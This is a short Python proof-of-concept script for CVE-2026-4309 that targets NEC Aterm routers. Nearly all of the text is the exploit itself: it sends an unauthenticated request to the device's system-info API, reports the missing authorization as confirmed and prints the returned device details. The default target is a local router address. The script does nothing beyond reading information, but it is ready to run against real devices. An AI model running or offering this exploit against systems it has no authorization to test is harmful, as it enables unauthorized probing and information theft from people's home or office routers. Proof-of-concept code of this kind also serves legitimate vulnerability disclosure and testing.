CVE-2026-4309

import requests # Proof of Concept for CVE-2026-4309 # Target: NEC Aterm Series # Description: Exploits missing authorization to fetch device info. def exploit(target_ip): target_url = f"http://{target_ip}/api/v1/system/info" headers = { "User-Agent": "Mozilla/5.0 (PoC-Scanner)", "Content-Type": "application/json" } try: # Sending unauthenticated request print(f"[*] Attempting to connect to {target_url}...") response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! Authorization missing.") print("[+] Device Info Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with the target IP address target = "192.168.1.1" exploit(target)

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